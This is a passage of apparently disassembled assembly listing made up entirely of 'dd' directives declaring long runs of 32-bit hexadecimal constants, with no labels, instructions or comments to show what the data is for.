		dd 0D5EF0732h, 0ACD5EB11h, 94EC563Dh, 0A6359B8h, 106E768Eh
		dd 16CDFB3Bh, 0C4BE30E6h, 0D8937F1Eh, 71B5A63Dh, 0E9D0C0EBh
		dd 0D2815163h, 84B112BCh, 9E30830Ah, 0CF0370D7h, 0B020DA28h
		dd 0E01F7DB1h, 64D37DD8h, 89C868B4h, 4CA715A3h,	3CFA8950h
		dd 0DACBAB0Dh, 4A480B9Bh, 3A834C62h, 4C6130FDh,	0C199594Eh
		dd 0DD5440B9h, 1A044BFDh, 43A6Fh, 85B5C8ABh, 975FF633h
		dd 0EE4EA7A2h, 2277791Ch, 0F649798Ch, 68FB0C7Eh, 0A7CA8198h
		dd 312E0937h, 0A34610AEh, 4B4D9E55h, 0EA3AB6A5h, 5761E17h
		dd 0B5F5673Bh, 8517238Eh, 3148BD6Dh, 0B30DE31Ah, 4906A260h
		dd 0CBEC14A6h, 41B6709Bh, 759701F9h, 0FD70EA1Bh, 0B04F02F5h
		dd 0E59F35BCh, 7C950E3Bh, 765F1D80h, 0C7A99F43h, 0CBE75957h
		dd 7118E414h, 1FCB24F7h, 9B05275h, 7195237Ch, 61523BF8h
		dd 0C1AF20A5h, 0F77A2A62h, 70750152h, 5F488D38h, 0F0752F6Ah
		dd 3A4C5E44h, 0E46F0E6Bh, 0BC379C8Bh, 68C7E337h, 37BE9279h
		dd 6BD844EFh, 0ACF6AED2h, 1BC91B70h, 0C396A630h, 5D657D01h
		dd 0D15A3712h, 0AACDF9E3h, 0EDD62FFEh, 4595D245h, 642AD752h
		dd 0C09516F3h, 72A259CBh, 0DFABED3Dh, 5A4990AFh, 9CF07955h
		dd 7D60DCBCh, 3D6CFD6Bh, 42BCDCh, 0A4DC82C7h, 171EDAFh
		dd 7431493Dh, 1591AFC5h, 0DC197F16h, 6286A96Bh,	112B9F70h
		dd 5A7206D2h, 85AC55C4h, 0EE9027E2h, 7B2DE657h,	0C531B9B3h
		dd 7D36FA39h, 4FE558B0h, 8502637Ah, 2F2022DBh, 8ED66A37h
		dd 0E4386D3h, 0BBF255DCh, 0C1265296h, 53A5E693h, 0B9EB7F65h
		dd 0ECA5C0E6h, 52004B25h, 14C62C95h, 0F259AE5Ch, 2ADFAA2Bh
		dd 0A7F89E8Ah, 9AF97BD4h, 0DED069EBh, 23A57F20h, 8D7816F3h
		dd 65803389h, 0B5952AA4h, 93F73EECh, 12B5C364h,	75A9208Dh
		dd 7E20D584h, 66BF7108h, 816002h, 0B607F522h, 0B24F1258h
		dd 0C02101EEh, 0AD27CD1Fh, 5B03EEE4h, 615015F3h, 1D71030Eh
		dd 75C3A33Eh, 95104285h, 97A72235h, 0C7D9FF56h,	65B7F393h
		dd 0FCD0A9E3h, 0FA2DBD00h, 795A9377h, 0A8C45D35h, 64A7FE5Ch
		dd 0B5B2FB78h, 0C445D10h, 6BAD4FDh, 0BCA3BDBAh,	5A6F50ABh
		dd 5A606CB3h, 0CDF7D07Eh, 70311F41h, 0B456AE7Ch, 0CE580B0Fh
		dd 0B6964028h, 0A8677256h, 0AD9BA817h, 7C5E3093h, 10A93596h
		dd 7E8CAAD5h, 0B6385D40h, 81CDDA71h, 0E4D048B2h, 0CE8C89FEh
		dd 7C84657Ah, 9547B451h, 7CFCC46Dh, 0EC32807Dh,	9016FEA6h
		dd 23CB56A6h, 0F3E7A73Ah, 3255D5C7h, 8EF7E217h,	0DA00799Ch
		dd 9183F9AFh, 3EAF61E4h, 3F2781D0h, 7A0D837h, 0DA3E3481h
		dd 0B5BFC732h, 33FAD778h, 0B47EA2A5h, 6AB252A7h, 5EA8CC4Ah
		dd 0F354BA8Eh, 0C8AADAD5h, 0AD4C2532h, 0E214D0D4h, 4815A516h
		dd 1A3681ABh, 263ECA2Ch, 0C5F246FDh, 0CF08797Ah, 5549BADFh
		dd 0C693054Fh, 19503CA5h, 7CD4207Eh, 4DB8588Fh,	0BA609066h
		dd 5709066Eh, 351D8B1Fh, 6FF8446Dh, 7357D4D3h, 0B374AE0Ch
		dd 67814D5Ah, 5E240978h, 663F34E5h, 4B13546Ah, 7D8CB54Dh
		dd 0C3D3E82Fh, 25C3CDD1h
		dd 0B5AAE92Fh, 87809F1Ch, 68FF3F3Ch, 5E098D82h,	0E8066606h
		dd 0D6819F49h, 0A67ACB01h, 0AB1618ECh, 9915AF5Fh, 2FC590E1h
		dd 2E5B6230h, 0D800B5D1h, 6972F891h, 5C31A543h,	7073CDABh
		dd 26CD1061h, 0CC0FE5DDh, 0C04FB859h, 39683F2Ch, 46AF4634h
		dd 14B9CF6Eh, 0A80E5CB2h, 0F9F23EB1h, 1F3D134Dh, 0E3D0E18Ah
		dd 113AE828h, 0D107B3FCh, 407EBB93h, 0A924A1F4h, 24B634E8h
		dd 0E4D699A5h, 0FCD5E067h, 0A8B1912Ch, 0ACDF4F89h, 9D5BEC51h
		dd 83713C45h, 0FCFEC3A9h, 0D0F2C35Eh, 2D0E9163h, 0ACD6101Ah
		dd 4E8C00BCh, 0A232D973h, 0BD6B9E98h, 69E7A44Dh, 158851D6h
		dd 6DE030A4h, 0B9E3384Dh, 442BFB08h, 92B2ED7Dh,	0DB452877h
		dd 0CB8FA71Ch, 0D42B6076h, 5DD6460Eh, 238B0C7Fh, 0A70791FEh
		dd 97A10667h, 91BF186h,	3F97FA45h, 0D391CDDDh, 74E35F1h
		dd 349CD728h, 4B75D94Bh, 9459207Fh, 0D6307D0Ch,	708FF3E5h
		dd 88641AA5h, 0CC1A6053h, 6DFE90C4h, 0A2A34E1Dh, 0E49BCC9Bh
		dd 9D4272E0h, 4DCF7185h, 82ED26D5h, 0E610FE02h,	97B57E5Dh
		dd 8AFC8707h, 28E6ECB2h, 7CAE350Bh, 9E35C9C4h, 0FBD54F5Ch
		dd 0B4F9F396h, 0DAB48887h, 0F480722Ch, 0DA6594B0h, 996A5D99h
		dd 0FA44FFDCh, 0CEBBBB8h, 0C33820CDh, 0C42B15Dh, 0C3B9B519h
		dd 99DD99FAh, 5BF1A8F9h, 0E6E7E172h, 0AC92A76Dh, 0DA0CDE9Eh
		dd 2CEA376Bh, 39566727h, 0DA1D68FBh, 1BE5E9AFh,	921ED1BDh
		dd 0ECFE4824h, 0BCE1F176h, 8595C8F4h, 420C2193h, 0AFFFA9A2h
		dd 172AF343h, 475226E1h, 120CCAABh, 0C29E4D0Ah,	3E2C71E7h
		dd 3B04D549h, 0B272D0CDh, 0CAD8AB46h, 0D66A06B3h, 0A75CC457h
		dd 9C5EFDE8h, 0EE4BBC10h, 0BB71F397h, 0D8EEA69Dh, 6A06F781h
		dd 41BE5A87h, 948A5BB6h, 7E68D139h, 0B6059269h,	6F86417Dh
		dd 0E61E7436h, 23CF674Fh, 972765D0h, 5CFA2548h,	8BFBA9C6h
		dd 68953198h, 0AF333C20h, 39F409BCh, 0E204FDDBh, 0CDE832h
		dd 0AFE404DFh, 0BE2C11D8h, 78E4A2B5h, 0C80B10EFh, 7D37A1E2h
		dd 3EE5F91h, 86732F84h,	7854F279h, 2C02D2E2h, 0CD7D97D6h
		dd 482C124Fh, 0F2763FB2h, 0AAAE6B12h, 0A879EA33h, 913057FFh
		dd 236CAE78h, 0FAD27214h, 37F5E9BEh, 0F416A3BEh, 499E1794h
		dd 0FD7BED03h, 352F4Eh,	1C8E03Ah, 0C66A8C6Eh, 5710CB3Ah
		dd 94EF3B0Bh, 283D29F3h, 0D9C9B846h, 0F7422751h, 8E070256h
		dd 28A0B900h, 9CC90985h, 596698BEh, 0AA7B818Dh,	0F623C8CCh
		dd 99739DDDh, 0B2A3A6B8h, 2E1F5E9h, 10F836B2h, 0CDFB9FCBh
		dd 0FDC81DB9h, 6E846CF9h, 0CAF2F76Fh, 253B92E9h, 7394E9D6h
		dd 9A9ADFD5h, 0B6EB6A03h, 8F24E65Ch, 6401C67Ch,	82F227C9h
		dd 5D4E72D7h, 6F37BBF8h, 56DAB62h, 86C0AB29h, 2D8A487Ah
		dd 5A0AD281h, 2444A887h, 63B914BAh, 6520338Fh, 41F27D05h
		dd 0FB7AC6F2h, 0BF11BD50h, 76D36809h, 0D74FC207h, 86763B35h
		dd 0C56AABDDh, 6A2C8A60h, 0A4C2D386h, 1170C94Ah, 0C587507Dh
		dd 89FCE0DDh, 0D961435Fh, 0FA84464Dh, 0DEAAF229h, 493A1325h
		dd 4706B68Ch, 0CDB3C7A4h, 83AD0C11h, 7DD84CAFh,	751ABD26h
		dd 67FBD61h, 8A6988B3h,	618CC94Eh, 0F15C9563h, 171A7820h
		dd 0F1FD46B3h, 48FE79ADh, 0B8A6C8E2h, 33658829h, 0A5CBF61Ah
		dd 6DE53A2Dh, 21AB781Ah, 584450B7h, 6F37B60Bh, 524704B5h
		dd 0C51B27FCh, 5989F42Eh, 36234656h, 0C66FCE0Ah, 1A6E4977h
		dd 0D6BF300Fh, 0ACBBF3C7h, 0BBA60339h, 7792AE8Ah, 0D5843D6Bh
		dd 5676E2B5h, 2A6867F3h, 0EEBC706Dh, 46F04968h,	335853C5h
		dd 82C0B0C9h, 73ACA8Ah,	4FC7B272h, 0AC53E73Bh, 0E00AB9F5h
		dd 837F96F5h, 0CDAAFACDh, 3B1F07BEh, 2CC21E45h,	2926ED3Ah
		dd 4E334481h, 0B66D2291h, 1D93438Dh, 0D66BFBB7h, 437F7DC4h
		dd 0BA66AB99h, 4F5B2E8Fh, 3883461Dh, 87D8747Bh,	176603F8h
		dd 1A8478FBh, 6B84DBFBh, 1FA4069h, 51BAEDD1h, 1A451D99h
		dd 0C0AC6906h, 0DA159D0Ch, 0B63E0CBDh, 24527106h, 0E0AEB44Ch
		dd 8FB5032Eh, 0A6FE00E0h, 6C5A16A4h, 4F09C681h,	33770A2h
		dd 20375BF4h, 5719AF6Fh, 42E664E9h, 0BA4F60BFh,	97C80CB7h
		dd 1345DD7Dh, 0E6BCFC72h, 7518883Ah, 1CF8745Eh,	11A555E7h
		dd 89BFAB05h, 844167h, 647C10F1h, 1C57079h, 44159665h
		dd 4802FD7Bh, 98D59824h, 0AF9D5039h, 2A68A4B1h,	72BD045Dh
		dd 80FD9238h, 0C97AC8D3h, 79D105F4h, 0F26BB57Ch, 55B706CAh
		dd 744A57FCh, 0E96E94BBh, 0CF13621h, 21C21948h,	1FD85024h
		dd 280D7048h, 0A7AE4761h, 724BEC19h, 0C81853E0h, 0F5551C7Eh
		dd 0F25D7C25h, 0A4E2C77Eh, 4FFEED7Ch, 75A6F7A5h, 0AFA84224h
		dd 734C6F81h, 76EDAA94h, 59916691h, 6447DD78h, 0A76B6021h
		dd 5BBA9F9Ch, 0EF6888BAh, 0C8F295Ch, 0B990C24Ch, 0FEAC30F1h
		dd 444C63AFh, 67F2A025h, 0C309F8EBh, 0CCC3CFD5h, 0E66BC9C5h
		dd 258FBEB8h, 5ADE44BDh, 0B55D4116h, 53903D53h,	0E5776579h
		dd 0A203108Ch, 1F7E0DDCh, 94AADD94h, 4EAB92E8h,	8DA9460Dh
		dd 0A92C5547h, 0A039BD2Dh, 44E9B8D1h, 1F1D00C2h, 0E6A5DFA4h
		dd 3C054EDFh, 9425CDC3h, 60957FEEh, 184A80CAh, 0D5FE8685h
		dd 0ABE51AA4h, 1795094Ch, 0AD96AF1Eh, 504C694Ah, 0CE91AA1Eh
		dd 9CC13EC1h, 0A53A4858h, 0C1CAB368h, 0A60603B5h, 0C263B9CEh
		dd 3D42B8F1h, 2315FEBCh, 0B8177237h, 0FD4C3271h, 3D3CE70Fh
		dd 0B08F7F38h, 0E0388933h, 0B6986C31h, 0D9377EF2h, 7C611946h
		dd 42E7A802h, 0A8B98055h, 766EBF70h, 0CCC3C381h, 0F41EE7EDh
		dd 51D6E015h, 23A484h, 31F498ABh, 0D40D38B8h, 2B4895B2h
		dd 6349D096h, 0B9537C05h, 480E37DCh, 20E8F7DFh,	3EC44DDEh
		dd 0BC7FD8E1h, 40257EDAh, 0C5F0D411h, 8D2C86E2h, 9925B630h
		dd 0FA545DACh, 0FCDC8D5Ah, 6E87E9D8h, 40BD4F75h, 226EF1ADh
		dd 7B40944Fh, 0B09DA889h, 0AFF3EF83h, 0FFE50323h, 0EF2DEC6Eh
		dd 8C5159B1h, 0C8E98F97h, 9C49E520h, 449B9AE1h,	0B2DB7FBBh
		dd 8024C12Fh, 41C7DEF4h, 77CD7A43h, 62D65239h, 17952672h
		dd 90AA788Bh, 0E23BB319h, 1098021Bh, 0C6972C53h, 67A3C576h
		dd 4FEA5063h, 868D20DDh, 0E7524635h, 0A01580C5h, 99DDDD9Ah
		dd 71634474h, 98324B64h, 0D6F02B23h, 0DD12C5C5h, 1E199171h
		dd 0EFDF0217h, 0EBC5CF0Fh, 6EB89657h, 203BACDAh, 959E9785h
		dd 9A14A53Bh, 801561C8h, 410BA801h, 77AF6A45h, 3DB6A0DBh
		dd 577BB0CBh, 95646205h, 0D8D937EEh, 4AE44A19h,	7167E736h
		dd 0E9D7CF96h, 0A058D153h, 642D3850h, 0A8A11B94h, 6607FB86h
		dd 0D2234E77h, 38ED79BEh, 795546C6h, 0ED273E38h, 37F73DE2h
		dd 46A412D0h, 0C323E522h, 0DC8D1ACFh, 0BB447550h, 0FF84319Bh
		dd 508F3F3Ch, 6A67A8Bh,	2456AB3h, 0ADA0169Dh, 0E8F25031h
		dd 7CE97BA2h, 0B39468D0h, 4D697EE3h, 4E8AEDD3h,	0D668AA2h
		dd 0DA075321h, 2B576B05h, 203735D0h, 0BF611E0Eh, 0D1E24DABh
		dd 5BAEC89Fh, 522DF568h, 3A6DADBh, 8F9A4BC7h, 54091943h
		dd 7D52EFDCh, 36CDF6E7h, 0B273B7D6h, 0CF8ADDBDh, 0BB672C2Dh
		dd 7EB47D76h, 9EA79434h, 963096EBh, 0AEBA2FE4h,	2BB1106Ch
		dd 0D99DC788h, 0C15E3AFBh, 67D61F9Dh, 42E38F69h, 0BA22C831h
		dd 0BC33670Fh, 0B12340B4h, 0FA229658h, 0ECF8B513h, 18CED4Fh
		dd 396ED2CDh, 8BBF9CB9h, 35856147h, 89F4CBCDh, 46CC8A67h
		dd 6527BC09h, 0FC440E63h, 4C09ED62h, 0C563B276h, 0ADE9D3C7h
		dd 249C563Dh, 0B7F1C1AFh
		dd 607A7661h, 4FE87A57h, 0C9EF49D7h, 9FCE6A24h,	19C07503h
		dd 0CEF832B0h, 660A2630h, 39CBC980h, 259C37DAh,	0E4F719BCh
		dd 81701D36h, 3AAA25F8h, 4136B7F5h, 3E5D671Eh, 0BF20963Ah
		dd 0E78D60E0h, 0F2160D11h, 2EC9B287h, 0D2F5E14Ch, 4B6DB7A8h
		dd 938FD093h, 851E11FBh, 0FF91C3AAh, 69557AC8h,	385CC012h
		dd 0A7642C96h, 9CEDF09Eh, 0F6F66DBFh, 75C6E397h, 3D31AD69h
		dd 0B543D99Bh, 8F1CBB02h, 93A6AD1Ch, 2EAA93B2h,	0C29F05E0h
		dd 0E0BB54C9h, 0DCF8CD57h, 0F49BCA27h, 0F426B28Ch, 552E07D6h
		dd 0BE0F9574h, 50EC3A1h, 9B973131h, 1448630Ah, 3C927E5Fh
		dd 2BD6B15Fh, 0FEB093C2h, 0DEC336B7h, 4A13C16Dh, 2348A8C0h
		dd 3293DC17h, 0AA8E3A1Dh, 2D830156h, 70B9ACBh, 323B10E5h
		dd 0D8797F58h, 3068EACCh, 8A66A0A7h, 0CD5877E1h, 0DE9EF009h
		dd 8A9FB944h, 61E19AAh,	341D1323h, 0DE3BD79Ch, 0DE51D078h
		dd 0A5687179h, 931B4B98h, 4F5B83B7h, 0DF29A452h, 881F6EC8h
		dd 0DA8D5F3Ch, 0FD82E675h, 0D5A08185h, 0D9144D74h, 0A9CFB4EBh
		dd 0E55C9FA2h, 0A5E64CF9h, 5240C295h, 643ADC27h, 1C09EDB3h
		dd 7F6AB36Dh, 60EA9EF8h, 0E223F4D4h, 0DA0C7E63h, 848A8824h
		dd 903CDA49h, 0BFB988D2h, 70820834h, 580BFEBEh,	8A656A87h
		dd 48623C5Bh, 0AF98D90Bh, 80CBEDA8h, 0A7AE9D9Ah, 0F0716F56h
		dd 9B02C70Ah, 58BE96C6h, 0DDC306A2h, 8230ADD0h,	0BB8B5600h
		dd 0CA59805Ah, 60B4AD99h, 1440A423h, 7497C2FDh,	0DCC7DAC3h
		dd 0D2BB87B9h, 0EDE5B230h, 0A70C6293h, 7B227A17h, 0D056E205h
		dd 92FC516Ch, 37DD98C6h, 0A7314CB4h, 55F2B35Fh,	50318993h
		dd 0D01D9CFh, 0A397D872h, 7F1FA0DFh, 43D187Dh, 8DE96F7h
		dd 79EB2CF7h, 9FA34C68h, 56F7A9CFh, 3B139D5Fh, 208F194h
		dd 8DF46C4Bh, 3F981B0Bh, 6D5BBBBh, 429A1B6Dh, 6189DAE0h
		dd 57D8EEC4h, 0D4EF9D68h, 8FACFE73h, 6D1F4394h,	15E20C51h
		dd 4FD39282h, 0CCDF0683h, 2BE8C36Eh, 8E563961h,	0D84992Dh
		dd 46603DE4h, 246C9722h, 0B24A3CDFh, 467D34C5h,	603EC914h
		dd 36651507h, 73DD75BAh, 0CD2BEE6Ah, 430DE76h, 689B5AD6h
		dd 1D2C0C11h, 4185BC4Eh, 0CB25872Ah, 9664853h, 3B01142Fh
		dd 6B50FE5Dh, 0A7AA358Bh, 4984A3C0h, 0BC7771E9h, 454A61DDh
		dd 0BA90BE26h, 4BFCD5ADh, 7AD2ED8Fh, 48C5A238h,	0BC47133Eh
		dd 5855F1E9h, 0BE87DE9Dh, 478FA83Eh, 792397F9h,	6D3C282h
		dd 0C126D776h, 535151CDh, 5C3ACCE0h, 0DD6AB99Eh, 4E0044Ah
		dd 1046B79Dh, 0EDB678C7h, 6954ED58h, 531EE4Ah, 89A9EF4Eh
		dd 0AE5C4BF4h, 3EDCB2BDh, 0CCF0EC85h, 82476D62h, 8DCEFAEAh
		dd 9E0EB3B5h, 7C3DD0F7h, 17704170h, 0CCACE14Eh,	2D16A5FCh
		dd 124210BEh, 3B39028Ah, 4A301E9h, 5388FA45h, 4298F3DEh
		dd 8376B822h, 0EEB4F3CAh, 0BF0E2E0Ah, 6F722205h, 22E3608h
		dd 0F7635640h, 85343553h, 8BAD691Fh, 0C59DA704h, 4D91D110h
		dd 8A4F443Dh, 959C7EADh, 1A356968h, 4E79B991h, 283326C5h
		dd 50248FA4h, 0E429CB9h, 53CF8897h, 9766DE2Fh, 1D6D1483h
		dd 0FF05DCE9h, 0D0CD308h, 83D7A89h, 2DBD799Dh, 6945F594h
		dd 0F9E35823h, 6D1D3F4Bh, 637B1995h, 1A4AF14Bh,	0EBA5E39Bh
		dd 0D6C5322Ch, 992C3764h, 8BBEDDD1h, 0AD820837h, 20533627h
		dd 0ABBB6958h, 0D3B844CEh, 56FE9E8Fh, 0E772FD4Fh, 10CA6F50h
		dd 10A1950h, 0CBB583C4h, 0DC347767h, 43EC35FCh,	0F5F6BD81h
		dd 54BD4769h, 83247596h, 7C032A0Dh, 27CD5AB6h, 0D4177E6Ch
		dd 767A5D10h, 6CD98C3Eh, 8A2FFEBAh, 3DD85C49h, 86C5D00Eh
		dd 0AE97D562h, 0AF0506FAh, 63935CC9h, 6F75A58Eh, 68029E89h
		dd 77961A11h, 3F53B157h, 7991F781h, 6078C86h, 0F8EA5175h
		dd 6AFFE582h, 0CFBD4938h, 0AF58F8F2h, 912D84D1h, 9A25F355h
		dd 12F4EE5Dh, 4C604BFh,	0B6AE28A8h, 0AA9719A4h,	8FAB704Ch
		dd 0F2E73AA2h, 80181D4Ah, 4C347EA5h, 9C7C4CBh, 5CAF40EAh
		dd 0DA4DEBA8h, 40410DEFh, 4D439EB6h, 6F12456Dh,	0F6E1844Bh
		dd 0CB969F41h, 4A1E5225h, 0A145CD58h, 0F724D863h, 970B4E76h
		dd 0DFE5264Dh, 0C3924B64h, 7D31D87Fh, 218AD4B1h, 5AB39A85h
		dd 699A451Ah, 5A5EEE30h, 45D5E14Fh, 800836BBh, 0A739B1CBh
		dd 8E7BB65Ch, 0E18A77A0h, 3D8AFB42h, 3BB4CE31h,	0C7B9F3BCh
		dd 0BF624A4Bh, 35F6DAADh, 2C74FADFh, 7AC356B7h,	0CF68F8FBh
		dd 4500F954h, 8A91E53Dh, 92E8506Ch, 0E387D20Ch,	0DC1588A2h
		dd 18D49ADBh, 22ADDAF2h, 0DADB2B9Dh, 71577073h,	0D407DC22h
		dd 9BFFDCD1h, 19DCB8F5h, 0AFEA093Fh, 6590B579h,	0F3B40DFDh
		dd 58BBD8A4h, 0D5C29413h, 0FCA7FE7Eh, 0A871C9F6h, 10DE9583h
		dd 0CFC4C4CCh, 62B73768h, 94B28E4Ah, 0ED6762CAh, 6E4211F4h
		dd 5D21EBC6h, 849DA1BAh, 0BB00CDDFh, 95FB240Bh,	15B33AFEh
		dd 3E60635Ah, 6F04EA27h, 67662DD5h, 75FFBBFEh, 0FF6E7DEBh
		dd 9EEA8E24h, 0BE752EF4h, 4D7744CFh, 901402F2h,	0E31FBE33h
		dd 21430A6Eh, 0C6884728h, 0EECFF0BBh, 0C558664Dh, 0B6748F46h
		dd 0F24D4DD2h, 155F7F88h, 8BABB20Eh, 3EA495D3h,	7C230B4h
		dd 0AAF22E33h, 86D7E312h, 0DD4C7BCDh, 0D6DAE883h, 7DCF1C4Fh
		dd 0E05D2A99h, 50573CDAh, 0CC348319h, 3983A9E2h, 0EFAD0BB9h
		dd 48586F19h, 18E4CA14h, 66BF710h, 60E7B8C3h, 9A837AFEh
		dd 29B1DD81h, 8D9E5E9Dh, 47CBD4EBh, 15CCC2C6h, 0DCBB7AC4h
		dd 8273374Ah, 6AA34FABh, 0AE9F9FB3h, 255BAD4Dh,	9FAEDBEBh
		dd 0FA5CA170h, 979A3571h, 836D36CFh, 0B9DF39EBh, 0F8B257D9h
		dd 23F1173Fh, 0D476FBBAh, 0CB8FC77Ah, 918FEB4Eh, 61C87D40h
		dd 0C634FE7Dh, 3CA1781Dh, 0F6F9D919h, 764DB8A7h, 770AADBFh
		dd 5F64EC15h, 0DCF1FBD3h, 7F474CE3h, 0B55EED4Dh, 2CDFD0E6h
		dd 6993E190h, 5760886Fh, 420A5915h, 0B7FA47D4h,	0EFAA4F85h
		dd 0BE005C4Ch, 0A0A04524h, 3F69235Eh, 7BC5BBBEh, 0BABFE51Fh
		dd 0C63E6546h, 27E3E6E8h, 0D029AC47h, 62396C76h, 524E0EFh
		dd 0AD03BA88h, 2380F7BDh, 0C81D06F5h, 0FCECCADh, 823C9F87h
		dd 0FDD4D68Bh, 927D7025h, 929C8A48h, 6A0BB190h,	427D239Ch
		dd 0C0797C64h, 978259EFh, 4C1F0AC1h, 0B0F62D6Ch, 0A8F583FEh
		dd 6F3D1248h, 9BE4C136h, 0D0139439h, 856691C1h,	424331EBh
		dd 3686758h, 0A459619Ch, 55469E04h, 0C621829h, 0AD54027Eh
		dd 7C8E54Eh, 243DFBACh,	7171738Ah, 7976FEFh, 0FB07DF92h
		dd 75082516h, 6E3FF5DCh, 0F39B21D3h, 26175A83h,	6B343D7Ah
		dd 5BDABA91h, 58AD5E2Eh, 0C4C0F367h, 8C689C2h, 92423ECAh
		dd 93485957h, 89323843h, 0F50CBB51h, 22179A05h,	0DC7C524Dh
		dd 170EB72Ch, 0F91445FAh, 3F6ECB0h, 0F25C3E60h,	39304216h
		dd 7540D78Ch, 7847C57Ah, 132E25EEh, 0F7756B7Bh,	0F26E1E45h
		dd 67E216C7h, 0DF06B26Dh, 7A6CBEABh, 0FE0909F7h, 68068E9Bh
		dd 8CF5D91Ch, 4D6CFE8Eh, 0E28C359Dh, 1DD55949h,	0C6DEDDD8h
		dd 0AEC71DA5h, 9485D4D5h, 1522863h, 0FCD37508h,	0E287B036h
		dd 0CFA9209Ch, 47F910D9h, 0A0F9F742h, 0DF0FF0A8h, 0CEC982DAh
		dd 0AF8AA983h, 0CB4EE13Fh, 0A644B819h, 108D8012h, 28D9B006h
		dd 0FBE49A12h, 0AF221517h, 6B68B2EEh, 25B96FADh, 57873560h
		dd 2C7A94F5h, 5272E1C9h, 8327D4EBh, 62E3DFA1h, 0DD96BC3Fh
		dd 4746088Fh, 4B0A2670h, 443BECB6h, 75F058Eh, 41EF68C7h
		dd 8B2238D5h, 6B517DE9h
		dd 0FB676D9Bh, 1A375033h, 0A67BF9DEh, 233084A8h, 0A1D8EBD4h
		dd 0C2AF451Fh, 893598E3h, 58E414E1h, 79DDAE13h,	3484DE23h
		dd 3576E5EDh, 338BFE1Eh, 9AB923F6h, 3FC6E903h, 9AA39D7Dh
		dd 21B3CFFDh, 8C9A593Bh, 13AFC043h, 607EBEA4h, 7F10B143h
		dd 0AC2D5B6Ch, 1F6E2E5Fh, 552D4E7h, 0E2BEA476h,	0D84FFF5Ch
		dd 57214D5Ah, 0EB089F28h, 0FA07BDD4h, 6EF675A4h, 23FB2431h
		dd 4777BF7Fh, 373386BCh, 0BF3DE5DEh, 0B9CB83ABh, 0F9AF7FB2h
		dd 609A1DD2h, 12C6CAFBh, 9CC5DA66h, 29953303h, 0BCCB1D63h
		dd 0C757CD5Bh, 25EA456Ah, 0CDCF75A2h, 175D3C0Eh, 0CD183566h
		dd 0A353360Dh, 19496D20h, 0E76485C0h, 0E1D5D838h, 6D13345Eh
		dd 21DB7537h, 9309EA46h, 58B3D56Eh, 46672A7h, 38DB8AD0h
		dd 0F3B32AE6h, 43B72DBDh, 3EE6B333h, 5FE54FF3h,	0B88F54C6h
		dd 0AD99AE5Eh, 9DEADA11h, 0D488F310h, 59638A64h, 0A73582B4h
		dd 0AF94D6DDh, 0C197CB8Dh, 0F7EEFD76h, 0B62F7140h, 530538EFh
		dd 221D07D3h, 1762AFCh,	5BDD5DD6h, 0C9530823h, 0D3CC4F4h
		dd 3A3540F3h, 5510A17Dh, 0C88EA5C8h, 0B7FD1DFFh, 0A90A3905h
		dd 657D87EAh, 0B3FA65DFh, 4A58355Ah, 61A56C70h,	7E1B8180h
		dd 0FD8CFCB5h, 0CA199FA5h, 632D87DFh, 2704DCC9h, 578E538Eh
		dd 2CDA0C13h, 0B014D1FBh, 0C1FBEC29h, 38F37057h, 586A30DCh
		dd 5475D874h, 0BCE20B7Ah, 0A51F1179h, 2353EA48h, 310ACD4Bh
		dd 33B36369h, 982E85EEh, 79747F6Fh, 0FA42666Bh,	0E8E289B9h
		dd 0B5FC25FFh, 65A17647h, 0F8F34049h, 9D349784h, 15D7EF4Ah
		dd 0A258A122h, 8CED604Ah, 8B1BBB02h, 0C7B33D69h, 3792C31Fh
		dd 8049B9D0h, 93B24A9Eh, 0B9901699h, 0ED8B6531h, 0E13E3FB0h
		dd 6ACF61A1h, 538E0E14h, 460F65BCh, 0D1240BD4h,	26B1DF6Ch
		dd 93EC63A9h, 1C1161EDh, 0AE1C28BCh, 7F0923D3h,	6FABE083h
		dd 0AE821C35h, 7AE33864h, 411DC1A5h, 98A98B5Fh,	9873810Ah
		dd 70E1BD75h, 8A32E867h, 8C30ED68h, 857C9D77h, 0EC75BED3h
		dd 0C66C7081h, 3C3CE962h, 373E20B2h, 8580935Bh,	0FE5B2DE4h
		dd 5899B0Dh, 153CEF51h,	0C8F926B6h, 0EA8BAACh, 2959F57Ah
		dd 9EDDC60Ah, 9A190FBAh, 42058B2h, 1FA91957h, 3EEF4EA8h
		dd 8B76E1D8h, 0D6647EC1h, 0A1F4E591h, 0C816555Dh, 477B2088h
		dd 7DB43C84h, 2E0882C7h, 304C05D4h, 0E5E0AE2h, 0F39B1A2Ch
		dd 0FC3C7E2Fh, 0D6284025h, 0D3BEC89Ah, 15B1C4AAh, 1A656117h
		dd 2EB5C324h, 7037267Eh, 0D7C7A6E3h, 55CF71DEh,	0FFF64656h
		dd 4E00CEF8h, 9AE1BAB6h, 25773710h, 31CDAF6h, 703BF525h
		dd 2D2EDC49h, 0AA8DDB5Bh, 0C367E163h, 189466D2h, 0B3D8A3F2h
		dd 0B4A8CD65h, 12E9AB31h, 98061897h, 78DD1207h,	28AAD6BDh
		dd 2A2B6104h, 0FA6E87E1h, 98624F5Bh, 5EF4E789h,	0EA61CCD8h
		dd 2A4C496Ah, 0ED99FBAFh, 7D92AA0Bh, 394AE78Bh,	15F14093h
		dd 0A8C315FCh, 0C9F98F6h, 324F48D7h, 3697A7AFh,	9DC1090Eh
		dd 0C5001797h, 8428ED5Bh, 0B4C63CD6h, 29FD193Eh, 0A303B5BDh
		dd 7615991Fh, 0EE20CF5Fh, 0E9EFBB65h, 2E9C6D36h, 55FE9532h
		dd 0AA7ED599h, 7E7FB455h, 0FFC01AAEh, 98019413h, 856C7EB6h
		dd 0E2FCE19h, 0E97ADB85h, 0FB51A9E1h, 402E6E01h, 0BF20AA04h
		dd 0AD32A28Dh, 0D99BA720h, 1F07570Ah, 309BDD9Eh, 113E0E69h
		dd 0C0701DEBh, 0ED4AD350h, 0FD7895Eh, 0C43AC363h, 0D21F5DA8h
		dd 0CBA291CEh, 0EDA4C9Fh, 0DEDBA05Eh, 0EB717259h, 0D90A245Eh
		dd 0D63667E0h, 2C1B589Bh, 64B93501h, 8F649B8Bh,	0CF1C2325h
		dd 0DD4F04EAh, 0D6101C81h, 0BC6D8402h, 9916F57Ch, 0EFC8618Eh
		dd 4985F4AAh, 0B44552B4h, 2754F1C0h, 618B9F9Dh,	0A894E256h
		dd 3EF005EEh, 7F8D7F55h, 87C5CB2Ch, 5E7FC018h, 17A53BCEh
		dd 5F591F9Fh, 854C723Dh, 0FAE46B0Ah, 394EEF0Bh,	4D3A079h
		dd 90008977h, 86F8159h,	1FB59F17h, 138E4B9h, 0ADFC8712h
		dd 90082308h, 65A422ABh, 7EC66221h, 59B762Dh, 27FEEA26h
